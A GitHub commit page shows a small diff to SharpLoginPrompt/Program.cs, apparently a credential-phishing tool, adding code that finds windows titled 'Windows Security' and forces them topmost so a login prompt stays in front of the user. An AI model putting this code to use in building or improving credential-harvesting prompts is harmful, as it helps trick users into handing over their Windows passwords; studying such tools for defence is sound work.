Skip to content

Commit acaed98

Browse files
Update Program.cs
Update
1 parent 9a8fcec commit acaed98

File tree

1 file changed

+16
-1
lines changed

1 file changed

+16
-1
lines changed

SharpLoginPrompt/Program.cs

Lines changed: 16 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -121,7 +121,22 @@ private static void TopWindow()
121121
Process procesInfo = Process.GetCurrentProcess();
122122
IntPtr handle = procesInfo.MainWindowHandle;
123123
SetWindowPos(handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW | SWP_NOSENDCHANGING | SWP_NOREPOSITION);
124-
124+
foreach (ProcessThread threadInfo in procesInfo.Threads)
125+
{
126+
//Console.WriteLine("\tthread {0:x}", threadInfo.Id);
127+
IntPtr[] windows = GetWindowHandlesForThread(threadInfo.Id);
128+
if (windows != null && windows.Length > 0)
129+
foreach (IntPtr hWnd in windows)
130+
{
131+
//Console.WriteLine("\t\twindow {0:x}", hWnd.ToInt32());
132+
if (GetTextfromwindow(hWnd) == "Windows Security")
133+
{
134+
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW | SWP_NOSENDCHANGING | SWP_NOREPOSITION);
135+
}
136+
}
137+
138+
}
139+
125140
}
126141

127142
});

0 commit comments

Comments
 (0)